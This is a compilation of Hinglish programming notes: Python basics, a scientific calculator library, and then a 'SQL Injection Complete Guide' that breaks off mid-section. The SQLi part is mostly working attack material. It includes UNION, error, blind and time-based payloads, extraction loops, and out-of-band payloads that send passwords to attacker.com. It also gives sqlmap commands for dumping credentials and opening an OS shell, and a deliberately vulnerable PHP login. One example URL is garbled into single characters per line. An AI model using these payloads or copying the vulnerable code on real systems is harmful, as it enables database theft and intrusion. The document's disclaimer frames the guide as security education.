    print('Hello! Welcome to Python')
# Call function
greet()
# Function with parameters
def greet_person(name):
    print(f'Hello {name}!')
greet_person('Raj')
greet_person('Priya')
# Function with return value
def add(a, b):
    return a + b
result = add(10, 20)
print(f'Sum: {result}')
# Function with default parameters
def greet_with_default(name='Guest'):
    print(f'Hello {name}')
greet_with_default()
greet_with_default('Raj')
# Function with multiple return values
def get_min_max(numbers):
    return min(numbers), max(numbers)
minimum, maximum = get_min_max([1, 5, 3, 9, 2])
print(f'Min: {minimum}, Max: {maximum}')
```

>> Lambda Functions

WHAT:

Small anonymous functions (ek line me function)

EXAMPLES:

```
# Regular function
def square(x):
    return x * x
# Lambda function
square_lambda = lambda x: x * x
print(square(5))  # 25
print(square_lambda(5))  # 25
# Lambda with multiple parameters
add = lambda a, b: a + b
print(add(10, 20))  # 30
# Using lambda with map
numbers = [1, 2, 3, 4, 5]
squared = list(map(lambda x: x**2, numbers))
print(squared)  # [1, 4, 9, 16, 25]
# Using lambda with filter
even_numbers = list(filter(lambda x: x % 2 == 0, numbers))
print(even_numbers)  # [2, 4]
```

---

6. PYTHON DATA STRUCTURES

>> Lists

WHAT:

List - ordered, mutable collection

EXAMPLES:

```
# Create list
fruits = ['apple', 'banana', 'orange']
# Access elements
print(fruits[0])  # apple
print(fruits[-1])  # orange (last element)
# Add elements
fruits.append('mango')  # Add at end
fruits.insert(1, 'grape')  # Insert at index 1
# Remove elements
fruits.remove('banana')  # Remove by value
last = fruits.pop()  # Remove and return last
# List slicing
numbers = [1, 2, 3, 4, 5]
print(numbers[1:4])  # [2, 3, 4]
print(numbers[:3])   # [1, 2, 3]
print(numbers[2:])   # [3, 4, 5]
# List comprehension
squares = [x**2 for x in range(1, 6)]
print(squares)  # [1, 4, 9, 16, 25]
even_numbers = [x for x in range(1, 11) if x % 2 == 0]
print(even_numbers)  # [2, 4, 6, 8, 10]
```

>> Dictionaries

WHAT:

Dictionary - key-value pairs, unordered, mutable

EXAMPLES:

```
# Create dictionary
student = {
    'name': 'Raj',
    'age': 20,
    'course': 'BCA'
}
# Access values
print(student['name'])  # Raj
print(student.get('age'))  # 20
print(student.get('grade', 'Not Available'))  # Not Available
# Add/Update values
student['grade'] = 'A'
student['age'] = 21
# Remove items
del student['course']
grade = student.pop('grade')
# Loop through dictionary
for key, value in student.items():
    print(f'{key}: {value}')
# Dictionary comprehension
squares = {x: x**2 for x in range(1, 6)}
print(squares)  # {1: 1, 2: 4, 3: 9, 4: 16, 5: 25}
```

---

7. FILE HANDLING

>> Read and Write Files

WHAT:

Files ko read aur write karna

EXAMPLES:

```
# Write to file
with open('example.txt', 'w') as file:
    file.write('Hello Python!\n')
    file.write('This is second line\n')
# Read entire file
with open('example.txt', 'r') as file:
    content = file.read()
    print(content)
# Read line by line
with open('example.txt', 'r') as file:
    for line in file:
        print(line.strip())
# Append to file
with open('example.txt', 'a') as file:
    file.write('This is appended line\n')
```

---

8. EXCEPTION HANDLING

>> Try-Except

WHAT:

Errors handle karne ke liye

EXAMPLES:

```
# Basic try-except
try:
    num = int(input('Enter number: '))
    result = 10 / num
    print(f'Result: {result}')
except ValueError:
    print('Invalid number!')
except ZeroDivisionError:
    print('Cannot divide by zero!')
# Try-except-else-finally
try:
    file = open('data.txt', 'r')
    content = file.read()
except FileNotFoundError:
    print('File not found!')
else:
    print('File read successfully')
finally:
    print('This always executes')
    if 'file' in locals():
        file.close()
# Raise exception manually
def validate_age(age):
    if age < 0:
        raise ValueError('Age cannot be negative')
    if age > 120:
        raise ValueError('Age cannot be > 120')
    return age
```

9. PYTHON MODULES AND PACKAGES

>> Import Modules

WHAT:

Built-in aur external modules use karna

EXAMPLES:

```
# Import built-in modules
import math
import random
from datetime import datetime
# Math module
print(math.sqrt(16))  # 4.0
print(math.pi)  # 3.14159
# Random module
print(random.randint(1, 10))
print(random.choice(['apple', 'banana', 'orange']))
# Datetime module
now = datetime.now()
print(now.strftime('%Y-%m-%d %H:%M:%S'))
# OS module (system commands)
import os
print(os.getcwd())  # Current directory
print(os.listdir('.'))  # List files
```

10. PYTHON CLASSES AND OOP

>> Classes and Objects

WHAT:

Object Oriented Programming - classes and objects

EXAMPLES:

```
# Define a class
class Person:
    # Class variable
    species = 'Human'
    # Constructor (initializer)
    def __init__(self, name, age):
        # Instance variables
        self.name = name
        self.age = age
    # Method
    def introduce(self):
        print(f'Hi, I am {self.name} and I am {self.age} years old')
    def have_birthday(self):
        self.age += 1
        print(f'Happy birthday {self.name}! Now {self.age}')
# Create objects
person1 = Person('Raj', 25)
person2 = Person('Priya', 22)
# Call methods
person1.introduce()
person2.introduce()
person1.have_birthday()
# Inheritance
class Student(Person):
    def __init__(self, name, age, student_id):
        super().__init__(name, age)
        self.student_id = student_id
    def introduce(self):
        print(f'Hi, I am {self.name}, a student with ID {self.student_id}')
student = Student('Raj', 25, 'S123')
student.introduce()
```

11. PRACTICAL PYTHON PROJECTS

>> Project 1 - Calculator

WHAT:

Simple calculator

CODE:

```
def calculator():
    print('Simple Calculator')
    print('Operations: +, -, *, /')

    num1 = float(input('Enter first number: '))
    op = input('Enter operation: ')
    num2 = float(input('Enter second number: '))

    if op == '+':
        result = num1 + num2
    elif op == '-':
        result = num1 - num2
    elif op == '*':
        result = num1 * num2
    elif op == '/':
        if num2 != 0:
            result = num1 / num2
        else:
            return 'Error: Division by zero'
    else:
        return 'Invalid operation'

    return f'{num1} {op} {num2} = {result}'

print(calculator())
```

>> Project 2 - To-Do List

WHAT:

Task manager

CODE:

```
tasks = []

def add_task(task):
    tasks.append({'task': task, 'done': False})
    print(f'Task added: {task}')

def show_tasks():
    if not tasks:
        print('No tasks')
        return
    for i, task in enumerate(tasks, 1):
        status = 'Done' if task['done'] else 'Pending'
        print(f'{i}. [{status}] {task["task"]}')

def complete_task(index):
    if 0 <= index < len(tasks):
        tasks[index]['done'] = True
        print('Task completed!')
    else:
        print('Invalid task number')

def delete_task(index):
    if 0 <= index < len(tasks):
        removed = tasks.pop(index)
```

```
        print(f'Deleted: {removed["task"]}')
    else:
        print('Invalid task number')

while True:
    print('\n1. Add Task')
    print('2. Show Tasks')
    print('3. Complete Task')
    print('4. Delete Task')
    print('5. Exit')
    choice = input('Choose option: ')

    if choice == '1':
        task = input('Enter task: ')
        add_task(task)
    elif choice == '2':
        show_tasks()
    elif choice == '3':
        show_tasks()
        idx = int(input('Task number to complete: ')) - 1
        complete_task(idx)
    elif choice == '4':
        show_tasks()
        idx = int(input('Task number to delete: ')) - 1
        delete_task(idx)
    elif choice == '5':
        print('Goodbye!')
        break
    else:
        print('Invalid choice')
```

Scientific Calculator Library

Complete Python Library for Mathematical and Scientific Computing

Generated: 22-March-2026

1. SCIENTIFIC CALCULATOR LIBRARY - INTRODUCTION

>> Library Overview

WHAT:

Scientific Calculator Library ek Python library hai jo mathematical, scientific, aur engineering calculations ke liye banayi gayi hai. Isme basic arithmetic se lekar advanced scientific functions, statistics, geometry, aur unit conversion sab kuch hai.

FEATURES:

* Basic Arithmetic - Addition, Subtraction, Multiplication, Division
* Advanced Mathematics - Trigonometry, Logarithms, Exponents
* Statistics - Mean, Median, Mode, Standard Deviation, Variance
* Geometry - Area, Volume, Perimeter of shapes
* Unit Conversion - Length, Weight, Temperature
* Matrix Operations - Addition, Multiplication, Determinant
* Equation Solver - Linear, Quadratic, Cubic equations
* Number Theory - Prime numbers, Factorial, GCD, LCM
* Scientific Constants - Pi, e, Speed of light, etc.

---

2. LIBRARY STRUCTURE AND SETUP

>> Folder Structure

WHAT:

Complete library ka folder structure

FOLDER STRUCTURE:

```
scientific_calculator/
|-- scientific_calculator/
|   |-- __init__.py
|   |-- arithmetic.py
|   |-- scientific.py
|   |-- statistics.py
|   |-- geometry.py
|   |-- conversion.py
|   |-- constants.py
|-- tests/
|   |-- test_arithmetic.py
|-- examples/
|   |-- basic_usage.py
|-- setup.py
|-- README.md
|-- requirements.txt
```

---

3. ARITHMETIC MODULE (BASIC CALCULATIONS)

>> arithmetic.py Code

WHAT:

Basic arithmetic operations - add, subtract, multiply, divide, power, root

CODE:

```
# scientific_calculator/arithmetic.py
"""Basic arithmetic operations module"""

import math
from typing import Union, List

Number = Union[int, float]

class Arithmetic:
    """Basic arithmetic operations class"""

    def __init__(self, precision: int = 10):
        """Initialize calculator with precision"""
        self.precision = precision
        self.history = []

    def add(self, a: Number, b: Number) -> Number:
        """Add two numbers"""
        result = round(a + b, self.precision)
        self.history.append(f"{a} + {b} = {result}")
        return result

    def subtract(self, a: Number, b: Number) -> Number:
        """Subtract b from a"""
        result = round(a - b, self.precision)
        self.history.append(f"{a} - {b} = {result}")
        return result

    def multiply(self, a: Number, b: Number) -> Number:
        """Multiply two numbers"""
        result = round(a * b, self.precision)
        self.history.append(f"{a} * {b} = {result}")
        return result

    def divide(self, a: Number, b: Number) -> Number:
        """Divide a by b"""
        if b == 0:
            raise ValueError("Division by zero is not allowed")
        result = round(a / b, self.precision)
        self.history.append(f"{a} / {b} = {result}")
        return result

    def power(self, base: Number, exponent: Number) -> Number:
        """Calculate base raised to exponent"""
        result = round(base ** exponent, self.precision)
        self.history.append(f"{base} ^ {exponent} = {result}")
        return result

    def square_root(self, x: Number) -> Number:
        """Calculate square root"""
        if x < 0:
            raise ValueError("Square root of negative number not allowed")
        result = round(math.sqrt(x), self.precision)
        self.history.append(f"sqrt({x}) = {result}")
        return result

    def cube_root(self, x: Number) -> Number:
```

```
    """Calculate cube root"""
    result = round(x ** (1/3), self.precision)
    self.history.append(f"cbrt({x}) = {result}")
    return result

def factorial(self, n: int) -> int:
    """Calculate factorial of a number"""
    if n < 0:
        raise ValueError("Factorial of negative number not defined")
    if n == 0 or n == 1:
        return 1
    result = 1
    for i in range(2, n + 1):
        result *= i
    self.history.append(f"{n}! = {result}")
    return result

def percentage(self, value: Number, percent: Number) -> Number:
    """Calculate percentage of a value"""
    result = (value * percent) / 100
    self.history.append(f"{percent} percent of {value} = {result}")
    return result

def modulus(self, a: Number, b: Number) -> Number:
    """Calculate remainder of division"""
    if b == 0:
        raise ValueError("Modulus by zero not allowed")
    result = a % b
    self.history.append(f"{a} mod {b} = {result}")
    return result

def get_history(self) -> List[str]:
    """Get calculation history"""
    return self.history

def clear_history(self):
    """Clear calculation history"""
    self.history = []
```

4. SCIENTIFIC MODULE (TRIGONOMETRY, LOGARITHMS)

>> scientific.py Code

WHAT:

Scientific functions - trigonometry, logarithms, exponential

CODE:

```
# scientific_calculator/scientific.py
"""Advanced scientific functions module"""

import math
from typing import Union

Number = Union[int, float]
PI = 3.141592653589793
E = 2.718281828459045

class Scientific:
    """Advanced scientific calculations"""

    def __init__(self):
        self.precision = 10

    # Trigonometric Functions (in radians)
    def sin(self, x: Number) -> Number:
        """Sine of angle in radians"""
        return round(math.sin(x), self.precision)

    def cos(self, x: Number) -> Number:
        """Cosine of angle in radians"""
        return round(math.cos(x), self.precision)

    def tan(self, x: Number) -> Number:
        """Tangent of angle in radians"""
        return round(math.tan(x), self.precision)

    # Trigonometric Functions (in degrees)
    def sin_deg(self, x: Number) -> Number:
        """Sine of angle in degrees"""
        return round(math.sin(math.radians(x)), self.precision)

    def cos_deg(self, x: Number) -> Number:
        """Cosine of angle in degrees"""
        return round(math.cos(math.radians(x)), self.precision)

    def tan_deg(self, x: Number) -> Number:
        """Tangent of angle in degrees"""
        return round(math.tan(math.radians(x)), self.precision)

    # Inverse Trigonometric Functions
    def arcsin(self, x: Number) -> Number:
        """Arc sine (inverse sine)"""
        if x < -1 or x > 1:
            raise ValueError("arcsin domain error: x must be between -1 and 1")
        return round(math.asin(x), self.precision)

    def arccos(self, x: Number) -> Number:
        """Arc cosine (inverse cosine)"""
        if x < -1 or x > 1:
            raise ValueError("arccos domain error: x must be between -1 and 1")
        return round(math.acos(x), self.precision)

    def arctan(self, x: Number) -> Number:
        """Arc tangent (inverse tangent)"""
```

```
        return round(math.atan(x), self.precision)

    # Logarithmic Functions
    def log(self, x: Number, base: Number = E) -> Number:
        """Logarithm of x with given base"""
        if x <= 0:
            raise ValueError("Logarithm domain error: x must be positive")
        if base <= 0 or base == 1:
            raise ValueError("Base must be positive and not equal to 1")
        return round(math.log(x, base), self.precision)

    def ln(self, x: Number) -> Number:
        """Natural logarithm (base e)"""
        if x <= 0:
            raise ValueError("ln domain error: x must be positive")
        return round(math.log(x), self.precision)

    def log10(self, x: Number) -> Number:
        """Base-10 logarithm"""
        if x <= 0:
            raise ValueError("log10 domain error: x must be positive")
        return round(math.log10(x), self.precision)

    def log2(self, x: Number) -> Number:
        """Base-2 logarithm"""
        if x <= 0:
            raise ValueError("log2 domain error: x must be positive")
        return round(math.log2(x), self.precision)

    # Exponential Functions
    def exp(self, x: Number) -> Number:
        """Exponential e^x"""
        return round(math.exp(x), self.precision)
```

5. STATISTICS MODULE

>> statistics.py Code

WHAT:

Statistical calculations - mean, median, mode, standard deviation

CODE:

```
# scientific_calculator/statistics.py
"""Statistical calculations module"""

import math
from typing import List, Union
from collections import Counter

Number = Union[int, float]

class Statistics:
    """Statistical operations class"""

    @staticmethod
    def mean(data: List[Number]) -> float:
        """Arithmetic mean (average)"""
        if not data:
            raise ValueError("Empty data list")
        return sum(data) / len(data)

    @staticmethod
    def median(data: List[Number]) -> float:
        """Median (middle value)"""
        if not data:
            raise ValueError("Empty data list")
        sorted_data = sorted(data)
        n = len(sorted_data)
        if n % 2 == 0:
            return (sorted_data[n//2 - 1] + sorted_data[n//2]) / 2
        else:
            return sorted_data[n//2]

    @staticmethod
    def mode(data: List[Number]) -> List[Number]:
        """Mode (most frequent value)"""
        if not data:
            raise ValueError("Empty data list")
        counter = Counter(data)
        max_freq = max(counter.values())
        return [k for k, v in counter.items() if v == max_freq]

    @staticmethod
    def variance(data: List[Number], sample: bool = True) -> float:
        """Variance (population or sample)"""
        if not data:
            raise ValueError("Empty data list")
        mean_val = Statistics.mean(data)
        n = len(data)
        variance_sum = sum((x - mean_val) ** 2 for x in data)
        if sample:
            return variance_sum / (n - 1) if n > 1 else 0
        else:
            return variance_sum / n

    @staticmethod
    def standard_deviation(data: List[Number], sample: bool = True) -> float:
        """Standard deviation"""
        return math.sqrt(Statistics.variance(data, sample))
```

```
    @staticmethod
    def min_value(data: List[Number]) -> Number:
        """Minimum value"""
        if not data:
            raise ValueError("Empty data list")
        return min(data)

    @staticmethod
    def max_value(data: List[Number]) -> Number:
        """Maximum value"""
        if not data:
            raise ValueError("Empty data list")
        return max(data)

    @staticmethod
    def range_value(data: List[Number]) -> Number:
        """Range (max - min)"""
        if not data:
            raise ValueError("Empty data list")
        return max(data) - min(data)
```

6. GEOMETRY MODULE

>> geometry.py Code

WHAT:

Geometry calculations - area, volume, perimeter

CODE:

```
# scientific_calculator/geometry.py
"""Geometry calculations module"""

import math
from typing import Union

Number = Union[int, float]
PI = 3.141592653589793

class Geometry:
    """Geometry calculations for 2D and 3D shapes"""

    # 2D Shapes - Area and Perimeter
    @staticmethod
    def circle_area(radius: Number) -> float:
        """Area of circle: pi * r^2"""
        return PI * radius * radius

    @staticmethod
    def circle_circumference(radius: Number) -> float:
        """Circumference of circle: 2 * pi * r"""
        return 2 * PI * radius

    @staticmethod
    def rectangle_area(length: Number, width: Number) -> float:
        """Area of rectangle: length * width"""
        return length * width

    @staticmethod
    def rectangle_perimeter(length: Number, width: Number) -> float:
        """Perimeter of rectangle: 2*(length + width)"""
        return 2 * (length + width)

    @staticmethod
    def square_area(side: Number) -> float:
        """Area of square: side^2"""
        return side * side

    @staticmethod
    def square_perimeter(side: Number) -> float:
        """Perimeter of square: 4 * side"""
        return 4 * side

    @staticmethod
    def triangle_area(base: Number, height: Number) -> float:
        """Area of triangle: 0.5 * base * height"""
        return 0.5 * base * height

    # 3D Shapes - Volume
    @staticmethod
    def cube_volume(side: Number) -> float:
        """Volume of cube: side^3"""
        return side ** 3

    @staticmethod
    def sphere_volume(radius: Number) -> float:
        """Volume of sphere: (4/3) * pi * r^3"""
```

```
        return (4/3) * PI * (radius ** 3)

    @staticmethod
    def cylinder_volume(radius: Number, height: Number) -> float:
        """Volume of cylinder: pi * r^2 * h"""
        return PI * radius * radius * height

    @staticmethod
    def cone_volume(radius: Number, height: Number) -> float:
        """Volume of cone: (1/3) * pi * r^2 * h"""
        return (1/3) * PI * radius * radius * height
```

7. UNIT CONVERSION MODULE

>> conversion.py Code

WHAT:

Unit conversions - length, weight, temperature

CODE:

```
# scientific_calculator/conversion.py
"""Unit conversion module"""

from typing import Union

Number = Union[int, float]

class UnitConverter:
    """Convert between different units"""

    # Length conversions
    @staticmethod
    def km_to_miles(km: Number) -> float:
        """Kilometers to miles"""
        return km * 0.621371

    @staticmethod
    def miles_to_km(miles: Number) -> float:
        """Miles to kilometers"""
        return miles * 1.60934

    @staticmethod
    def meter_to_feet(meters: Number) -> float:
        """Meters to feet"""
        return meters * 3.28084

    @staticmethod
    def feet_to_meter(feet: Number) -> float:
        """Feet to meters"""
        return feet / 3.28084

    # Weight conversions
    @staticmethod
    def kg_to_pounds(kg: Number) -> float:
        """Kilograms to pounds"""
        return kg * 2.20462

    @staticmethod
    def pounds_to_kg(lbs: Number) -> float:
        """Pounds to kilograms"""
        return lbs / 2.20462

    # Temperature conversions
    @staticmethod
    def celsius_to_fahrenheit(c: Number) -> float:
        """Celsius to Fahrenheit"""
        return (c * 9/5) + 32

    @staticmethod
    def fahrenheit_to_celsius(f: Number) -> float:
        """Fahrenheit to Celsius"""
        return (f - 32) * 5/9

    @staticmethod
    def celsius_to_kelvin(c: Number) -> float:
        """Celsius to Kelvin"""
        return c + 273.15
```

```
    @staticmethod
    def kelvin_to_celsius(k: Number) -> float:
        """Kelvin to Celsius"""
        return k - 273.15
```

8. CONSTANTS MODULE

>> constants.py Code

WHAT:

Scientific constants for calculations

CODE:

```
# scientific_calculator/constants.py
"""Scientific constants for calculations"""

# Mathematical constants
PI = 3.141592653589793
E = 2.718281828459045
TAU = 6.283185307179586
GOLDEN_RATIO = 1.618033988749895

# Physical constants
SPEED_OF_LIGHT = 299792458
GRAVITATIONAL_CONSTANT = 6.67430e-11
PLANCK_CONSTANT = 6.62607015e-34
AVOGADRO_NUMBER = 6.02214076e23
BOLTZMANN_CONSTANT = 1.380649e-23
GAS_CONSTANT = 8.314462618
ELECTRON_MASS = 9.10938356e-31
PROTON_MASS = 1.6726219e-27
NEUTRON_MASS = 1.6749275e-27

# Astronomical constants
ASTRONOMICAL_UNIT = 1.495978707e11
LIGHT_YEAR = 9.46073e15
SOLAR_MASS = 1.98847e30
EARTH_MASS = 5.9722e24
EARTH_RADIUS = 6371000
```

9. MAIN INIT FILE

>> __init__.py Code

WHAT:

Main package initializer - imports all modules

CODE:

```
# scientific_calculator/__init__.py
"""Scientific Calculator Library - Complete Mathematical Toolkit"""

from .arithmetic import Arithmetic
from .scientific import Scientific
from .statistics import Statistics
from .geometry import Geometry
from .conversion import UnitConverter
from .constants import *

__version__ = "1.0.0"
__author__ = "Developer"

__all__ = [
    'Arithmetic',
    'Scientific',
    'Statistics',
    'Geometry',
    'UnitConverter',
    'PI', 'E', 'TAU', 'GOLDEN_RATIO',
    'SPEED_OF_LIGHT', 'GRAVITATIONAL_CONSTANT'
]
```

---

10. SETUP.PY FOR LIBRARY

>> setup.py Code

WHAT:

Package installation configuration

CODE:

```
# setup.py
from setuptools import setup, find_packages

with open("README.md", "r", encoding="utf-8") as f:
    long_description = f.read()

setup(
    name="scientific-calculator",
    version="1.0.0",
    author="Developer",
    description="Complete Scientific Calculator Library",
    long_description=long_description,
    long_description_content_type="text/markdown",
    packages=find_packages(),
    python_requires=">=3.7",
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
        "Intended Audience :: Developers",
        "Intended Audience :: Science/Research",
        "Topic :: Scientific/Engineering",
    ],
    keywords="calculator, scientific, mathematics, physics",
)
```

11. HOW TO USE THE LIBRARY

>> Usage Examples

WHAT:

Library use karne ke examples

CODE:

```
# Example 1: Basic Arithmetic
from scientific_calculator import Arithmetic

calc = Arithmetic(precision=4)
print(calc.add(10, 20))
print(calc.multiply(5, 6))
print(calc.power(2, 8))

# Example 2: Scientific Functions
from scientific_calculator import Scientific

sci = Scientific()
print(sci.sin(3.14159/2))
print(sci.log10(100))

# Example 3: Statistics
from scientific_calculator import Statistics

data = [10, 20, 30, 40, 50]
print(Statistics.mean(data))
print(Statistics.median(data))

# Example 4: Geometry
from scientific_calculator import Geometry

print(Geometry.circle_area(5))
print(Geometry.sphere_volume(3))

# Example 5: Unit Conversion
from scientific_calculator import UnitConverter

print(UnitConverter.km_to_miles(10))
print(UnitConverter.celsius_to_fahrenheit(100))

# Example 6: Using Constants
from scientific_calculator import PI, E, SPEED_OF_LIGHT

print(f"Pi: {PI}")
print(f"Speed of Light: {SPEED_OF_LIGHT} m/s")
```

12. INSTALLATION AND TESTING

>> Installation Commands

WHAT:

Library install karne ke commands

COMMANDS:

```
# Local development install
pip install -e .
# Install from PyPI (after publishing)
pip install scientific-calculator
# Run tests
pytest tests/
# Run with coverage
pytest --cov=scientific_calculator tests/
# Build distribution
python -m build
# Upload to PyPI
twine upload dist/*
```

SQL Injection Complete Guide

Master SQL Injection - Attack, Detection, Prevention

Generated: 22-March-2026

DISCLAIMER: This guide is for educational purposes only. Only test on applications you own or have explicit permission to test. Unauthorized access is illegal.

1. SQL INJECTION KYA HAI (WHAT IS SQL INJECTION)

>> Definition

WHAT:

SQL Injection (SQLi) ek critical web security vulnerability hai jaha attacker malicious SQL code ko application ke input fields me inject karta hai. Ye code database ke saath interact karta hai aur unauthorized data access, modification, ya deletion kar sakta hai.

IMPACT:

* Data Theft - Sensitive data (passwords, credit cards) steal karna
* Data Manipulation - Database records modify ya delete karna
* Authentication Bypass - Bina password ke login karna
* Remote Code Execution - Server pe commands execute karna
* Database Takeover - Complete database control
* Data Loss - Entire database delete karna

>> How SQL Injection Works

WHAT:

SQL Injection kaise kaam karta hai - step by step

STEPS:

* Step 1: Application user input leta hai (login form, search box, URL parameter)
* Step 2: Input directly SQL query me concatenate hota hai without sanitization
* Step 3: Attacker malicious SQL code input me dalta hai
* Step 4: Application malicious SQL query execute karta hai
* Step 5: Database attacker ke commands run karta hai
* Step 6: Attacker sensitive data access kar leta hai

>> Vulnerable Code Example

WHAT:

Vulnerable PHP code jo SQL Injection allow karta hai

CODE:

```
// VULNERABLE CODE - DO NOT USE IN PRODUCTION
<?php
$username = $_POST['username'];
$password = $_POST['password'];

// Direct concatenation - DANGEROUS!
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);

if(mysqli_num_rows($result) > 0) {
    echo "Login Successful";
} else {
    echo "Login Failed";
}
?>

// SECURE CODE - Using Prepared Statements
<?php
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
?>
```

---

2. SQL INJECTION TYPES (PRAKAR)

>> In-Band SQL Injection

WHAT:

Attacker same channel se data extract karta hai aur results directly dekh sakta hai. Sabse common aur dangerous type.

SUBTYPES:

* Error-Based SQLi - Database errors se information leak
* Union-Based SQLi - UNION operator se multiple queries combine

EXAMPLE:

```
h
t
t
p
:
/
/
e
x
a
m
p
l
e
.
c
o
m
/
p
r
o
d
u
c
t
?
i
d
=
1
'

U
N
I
O
N

S
E
L
E
C
T

u
s
e
r
n
a
m
```

```
e
,
p
a
s
s
w
o
r
d

F
R
O
M

u
s
e
r
s
-
-
```

>> Error-Based SQL Injection

WHAT:

Database error messages se information leak hoti hai

PAYLOADS:

```
Single Quote Test: '
Double Quote Test: "
Boolean Test: ' AND 1=1--
Boolean Test: ' AND 1=2--
Extract Version: ' AND 1=CONVERT(int, @@version)--
Extract Database: ' AND 1=(SELECT DB_NAME())--
```

ERROR MESSAGES:

```
You have an error in your SQL syntax
Unclosed quotation mark
Microsoft OLE DB Provider for ODBC Drivers error
MySQL server version for the right syntax
ORA-00933: SQL command not properly ended
```

>> Union-Based SQL Injection

WHAT:

UNION operator use karke multiple SELECT queries combine karna

STEPS:

* Step 1: Find number of columns: ORDER BY 1,2,3...
* Step 2: Find columns with UNION SELECT null,null...
* Step 3: Extract database info: database(), user(), version()
* Step 4: Extract table names from information_schema
* Step 5: Extract column names
* Step 6: Extract data

PAYLOADS:

```
1' UNION SELECT null--
1' UNION SELECT null,null--
1' UNION SELECT null,null,null--
1' UNION SELECT database(),user()--
1' UNION SELECT table_name,null FROM information_schema.tables--
1' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users'--
1' UNION SELECT username,password FROM users--
```

>> Blind SQL Injection

WHAT:

Attacker ko direct results nahi dikhte, boolean logic ya time delay se data extract karna padta hai

SUBTYPES:

* Boolean-Based Blind SQLi - True/False responses se data extract
* Time-Based Blind SQLi - Time delays se data extract

>> Boolean-Based Blind SQL Injection

WHAT:

Application ke response (True/False) se data extract karna

PAYLOADS:

```
1' AND 1=1-- (True response)
1' AND 1=2-- (False response)
1' AND LENGTH(database())=8-- (Check database length)
1' AND SUBSTRING(database(),1,1)='m'-- (Check first char)
1' AND ASCII(SUBSTRING(database(),1,1))>100-- (Check ASCII value)
1' AND (SELECT COUNT(*) FROM users)=10-- (Check table rows)
```

EXTRACTION METHOD:

```
# Extract database name character by character
for i in range(1, 20):
    for c in 'abcdefghijklmnopqrstuvwxyz0123456789_':
        payload = f"1' AND SUBSTRING(database(),{i},1)='{c}'--"
        if response_is_true(payload):
            database_name += c
            break
```

>> Time-Based Blind SQL Injection

WHAT:

Database ke response time (delay) se data extract karna

PAYLOADS:

```
1' AND SLEEP(5)-- (MySQL - 5 second delay)
1' AND pg_sleep(5)-- (PostgreSQL)
1' WAITFOR DELAY '0:0:5'-- (MSSQL)
1' AND IF(1=1, SLEEP(5), 0)-- (Conditional delay)
1' AND IF(LENGTH(database())=8, SLEEP(5), 0)--
1' AND IF(SUBSTRING(database(),1,1)='m', SLEEP(5), 0)--
```

EXTRACTION METHOD:

```
# Extract data using time delay
for i in range(1, 20):
    for c in chars:
        payload = f"1' AND IF(SUBSTRING(database(),{i},1)='{c}', SLEEP(5), 0)--"
        response_time = get_response_time(payload)
        if response_time > 4:
            database_name += c
            break
```

>> Out-of-Band SQL Injection

WHAT:

Attacker different channel (DNS, HTTP) se data exfiltrate karta hai

PAYLOADS:

```
1' AND LOAD_FILE('\\\\attacker.com\share\test.txt')--
1' AND (SELECT * FROM users INTO OUTFILE '\\\\attacker.com\share\data.txt')--
1' AND (SELECT UTL_HTTP.REQUEST('http://attacker.com/steal?data='||(SELECT password FROM users)))--
```

---

3. SQL INJECTION DETECTION TOOLS

>> SQLMap - Complete Guide

WHAT:

SQLMap - World's most popular automatic SQL injection tool

COMMANDS:

```
# Basic SQLMap usage
sqlmap -u "http://example.com/product?id=1"
# With POST data
sqlmap -u "http://example.com/login" --data="username=admin&password=pass"
# Get databases
sqlmap -u "http://example.com/product?id=1" --dbs
# Get tables from a database
sqlmap -u "http://example.com/product?id=1" -D database_name --tables
# Get columns from a table
sqlmap -u "http://example.com/product?id=1" -D database_name -T table_name --columns
# Dump data from table
sqlmap -u "http://example.com/product?id=1" -D database_name -T table_name --dump
# Get database users and passwords
sqlmap -u "http://example.com/product?id=1" --passwords
# OS Shell (if possible)
sqlmap -u "http://example.com/product?id=1" --os-shell
# Level and risk (more thorough)
sqlmap -u "http://example.com/product?id=1" --level=5 --risk=3
# Use random agents
sqlmap -u "http://example.com/product?id=1" --random-agent
# Crawl website
sqlmap -u "http://example.com/" --crawl=3
# Save results
sqlmap -u "http://example.com/product?id=1" --output-dir=/path/to/save
```

>> Other Detection Tools

WHAT:

Other SQL injection detection tools

COMMANDS:

```
# jSQL Injection
java -jar jsql-injection-v0.83.jar
# Havij (Windows GUI)
havij.exe
# BBQSQL
bbqsql --url http://example.com/product?id=1
# NoSQLMap (for NoSQL databases)
python nosqlmap.py
# Manual testing with curl
curl "http://example.com/product?id=1'"
curl "http://example.com/product?id=1' AND 1=1--"
curl "http://example.com/product?id=1' AND 1=2--"
```

---

4. SQL INJECTION EXPLOITATION TECHNIQUES

>> Database Fingerprinting

WHAT:

Database type aur version pata karna

PAYLOADS:

```
# MySQL
1' AND version() LIKE '%MySQL%'--
1' AND @@version_comment LIKE '%MySQL%'--

# PostgreSQL
1' AND version() LIKE '%PostgreSQL%'--

# MSSQL
1' AND @@version LIKE '%Microsoft%'--

# Oracle
1' AND banner FROM v$version LIKE '%Oracle%'--

# SQLite
1' AND sqlite_version() LIKE '%3%'--
```

>> Extract Database Schema

WHAT:

Database, tables, columns ka structure pata karna

PAYLOADS:

```
# MySQL - Get databases
1' UNION SELECT schema_name,null FROM information_schema.schemata--

# MySQL - Get tables
1' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema=database()--

# MySQL - Get columns
1' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users'--

# PostgreSQL - Get databases
1' UNION SELECT datname,null FROM pg_database--

# PostgreSQL - Get tables
1' UNION SELECT tablename,null FROM pg_tables WHERE schemaname='public'--

# MSSQL - Get tables
1' UNION SELECT name FROM sysobjects WHERE xtype='U'--

# Oracle - Get tables
1' UNION SELECT table_name FROM all_tables--
```

>> Extract Data

WHAT:

Sensitive data extract karna

PAYLOADS:

```
# Extract all users and passwords
1' UNION SELECT username,password FROM users--

# Extract with concatenation
1' UNION SELECT CONCAT(username,':',password),null FROM users--

# Extract multiple columns
```

```
1' UNION SELECT username,password,email FROM users--

# Extract data with LIMIT (paginated)
1' UNION SELECT username,password FROM users LIMIT 0,1--
1' UNION SELECT username,password FROM users LIMIT 1,1--

# Extract data with OFFSET
